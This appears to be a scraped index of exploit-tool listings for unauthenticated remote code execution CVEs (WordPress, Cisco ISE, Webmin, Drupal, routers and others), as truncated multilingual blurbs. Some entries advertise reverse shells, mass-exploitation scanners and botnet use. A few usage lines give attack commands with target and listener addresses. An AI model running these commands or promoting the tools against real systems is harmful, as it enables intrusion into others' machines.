WordPress_Backup_Migration-RCE_Unauthenticated

CVE-2023-6553 — Plugin Backup Migration per WordPress - Reverse Shell Una versione estesa dell'exploit CVE-2023-6553 di Chocapikk che aggiunge una modalità reverse shell con un solo comando alla webshell interattiva originale. Vulnerabilità CVE-2023-6553 — Esecuzione remota di codice non...

CVE-2025-20281-2-Cisco-ISE-RCE

CVE-2025-20281-2-Cisco-ISE-RCE Nicht authentifizierter Python-PoC für CVE-2025-20281 RCE gegen die Cisco ISE API CVE-2025-20281 Unauthentifizierter PoC Ein minimaler Python-Proof-of-Concept, der die nicht authentifizierte RCE in der ERS-API von Cisco ISE CVE-2025-20281 ausnutzt, indem beliebige...

CVE-2024-23692-RCE-in-Rejetto-HFS

Nicht authentifizierte RCE-Schwachstelle im Rejetto HTTP File Server CVE-2024-23692 - Exploit-Code CVE-2024-23692 ist eine kritische Sicherheitslücke im Rejetto HTTP File Server HFS Version 2.3m, die eine nicht authentifizierte entfernte Codeausführung RCE ermöglicht. Dieser Fehler ermöglicht es...

CVE-2024-47176

PoC: Unauthenticated RCE auf cups-browsed 📜 Schwachstelleninformationen...

zoneminder-snapshots-rce-poc

POC per RCE non autenticata in Zoneminder tramite Snapshots CVE-2023-26035 Questo è uno script scritto in Python che consente lo sfruttamento della falla di sicurezza di Zoneminder descritta in CVE-2023-26035. Il sistema è vulnerabile nelle versioni precedenti a 1.36.33 e 1.37.33. Utilizzo Clona ...

CVE-2026-9254

TP-Link Archer BE800 V1 — Kindersicherung LAN-RCE CVE: CVE-2026-9254 CVSS: 8.7 Hoch Authentifizierung erforderlich: Keine Netzwerkposition: Nur LAN Gefunden in Version 1.3.2 Build 20251015 rel.106595553 Zusammenfassung Der Blocking-Endpunkt der Kindersicherung /cgi-bin/luci/blocking?form=vercode...

CVE-2025-34085-Multi-target

CVE-2025-34085 Scanner RCE Multi-Alvo Scanner de exploração em massa para CVE-2025-34085 — uma vulnerabilidade de execução remota de código não autenticada no plugin WordPress Simple File List. Esta ferramenta faz upload de um payload PHP disfarçado de imagem, renomeia-o através de um motor de...

Cisco-CVE-2025-20281-illdeed

CVE-2025-20281 — Exploit de RCE não autenticado na API ERS do Cisco ISE Este repositório contém um exploit de prova de conceito em Python 3 para CVE-2025-20281 , uma vulnerabilidade crítica no Cisco Identity Services Engine ISE que permite execução remota de código RCE não autenticada como root p...

CVE-2023-27350

! Be careful executing this as it re-configures the server config in order to execute commands. The script reverts the changes on exit but might not revert it if the process is improperly killed ! CVE-2023-27350 Papercut अप्रमाणित RCE Versions root@kitploit: स्क्रिप्ट स्वचालित रूप से जाँचती है कि...

chamilo-lms-unauthenticated-big-upload-rce-poc

Chamilo LMS - PoC per RCE tramite Big Upload File non autenticato Questo è uno script scritto in Python che consente lo sfruttamento della falla di sicurezza del software Chamilo LMS descritta in CVE-2023-4220. Il sistema è vulnerabile nelle versioni precedenti la 1.11.24. Utilizzo Clona il...

CVE-2026-52199

CVE-2026-52199 : Execução Remota de Código Não Autenticada no Roteador 4G UZ801 Resumo da Vulnerabilidade Existe uma vulnerabilidade crítica de Controle de Acesso Incorreto no Roteador 4G LTE Generic OEM UZ801v2.1 Firmware V3.4.3. O dispositivo expõe indevidamente um daemon Android Debug Bridge A...

Drupal_REST-RCE_Unauthenticated

CVE-2019-6340 — Drupal RESTful Web Services RCE Implementazione Python dell'exploit di esecuzione di codice in remoto per CVE-2019-6340, basata sull'analisi del modulo Metasploit e sul lavoro precedente di leonjza. Differenza chiave rispetto a EDB-46459: utilizza POST invece di GET, bypassando la...

CVE-2021-4045

Titolo Exploit: TP-LINK Tapo c200 1.1.15 - RCE Produttore: https://www.tp-link.com/en/home-networking/cloud-camera/tapo-c200/ Versione: 1.1.15 e precedenti CVE: CVE-2021-4045 Botnet C2 caricabile e massexploit Analisi della vulnerabilità:...

react2shell-burp

Scanner e Validador React2Shell RCE CVE-2025-55182 Criador: j0lt Colaborador: https://github.com/shashank18 Uma extensão do Burp Suite que detecta e valida a vulnerabilidade React2Shell CVE-2025-55182 — uma falha de execução remota de código sem autenticação em React Server Components. A extensão...

CVE-2018-11770

CVE-2018-11770 Apache Spark Unauthenticated Reverse Shell RCE Exploit RCE autonomo in Python 3 per Apache Spark riscritto da questo modulo Metasploit POC dell'exploit spiegato qui. Il codice dell'exploit stesso è spiegato qui. Testato con Python 3.7 su questo target. Utilizzo: root@kitploit:...

CVE-2017-11610

CVE-2017-11610 RCE non autenticata con Reverse Shell per Supervisor 3.0a1 - 3.3.2 Exploit RCE non autenticato standalone in Python ≥3.6 per Supervisor dalla 3.0a1 alla 3.3.2, riscritto da questo modulo Metasploit. Post esplicativo qui. Testato con Python 3.7 su questo target che esegue Supervisor...

SneeitScanner-CVE-2025-6389

SneeitScanner-CVE-2025-6389 SneeitScanner - PoC & Scanner per RCE non autenticata su Sneeit Framework CVE-2025-6389 ⚡ SneeitScanner ⚡ Prova di Concetto PoC e Scanner Automatizzato per RCE Non Autenticata su Sneeit Framework CVE-2025-6389 Questo script Python robusto è una PoC funzionale e uno...

Langflow-CVE-2025-3248-Multi-target

⚠️ Scanner de Exploit RCE Langflow CVE-2025-3248 Este scanner baseado em Python automatiza a detecção de vulnerabilidades de Execução Remota de Código RCE não autenticada em instâncias Langflow via CVE-2025-3248. Ele usa um payload de prova de conceito que abusa do endpoint /api/v1/validate/code...

CVE-2022-24637

CVE-2022-24637 Open Web Analytics OWA - Nicht authentifizierte Remotecodeausführung https://vulners.com/cve/CVE-2022-24637 Beispiel root@kitploit: python3 exploit.py -u admin -p hacker http://target.org 10.10.11.12 4444...

CVE-2019-15107-Exploit

CVE-2019-15107 Exploit in Python Questo exploit è per CVE-2019-15107 Webmin 1.890-1.920 RCE senza autenticazione implementato in Python. Utilizzo root@kitploit: python3 webminExploit.py python3 webminExploit.py 10.200.198.200 10000 whoami python3 webminExploit.py 10.200.198.200 10000 "curl -h"...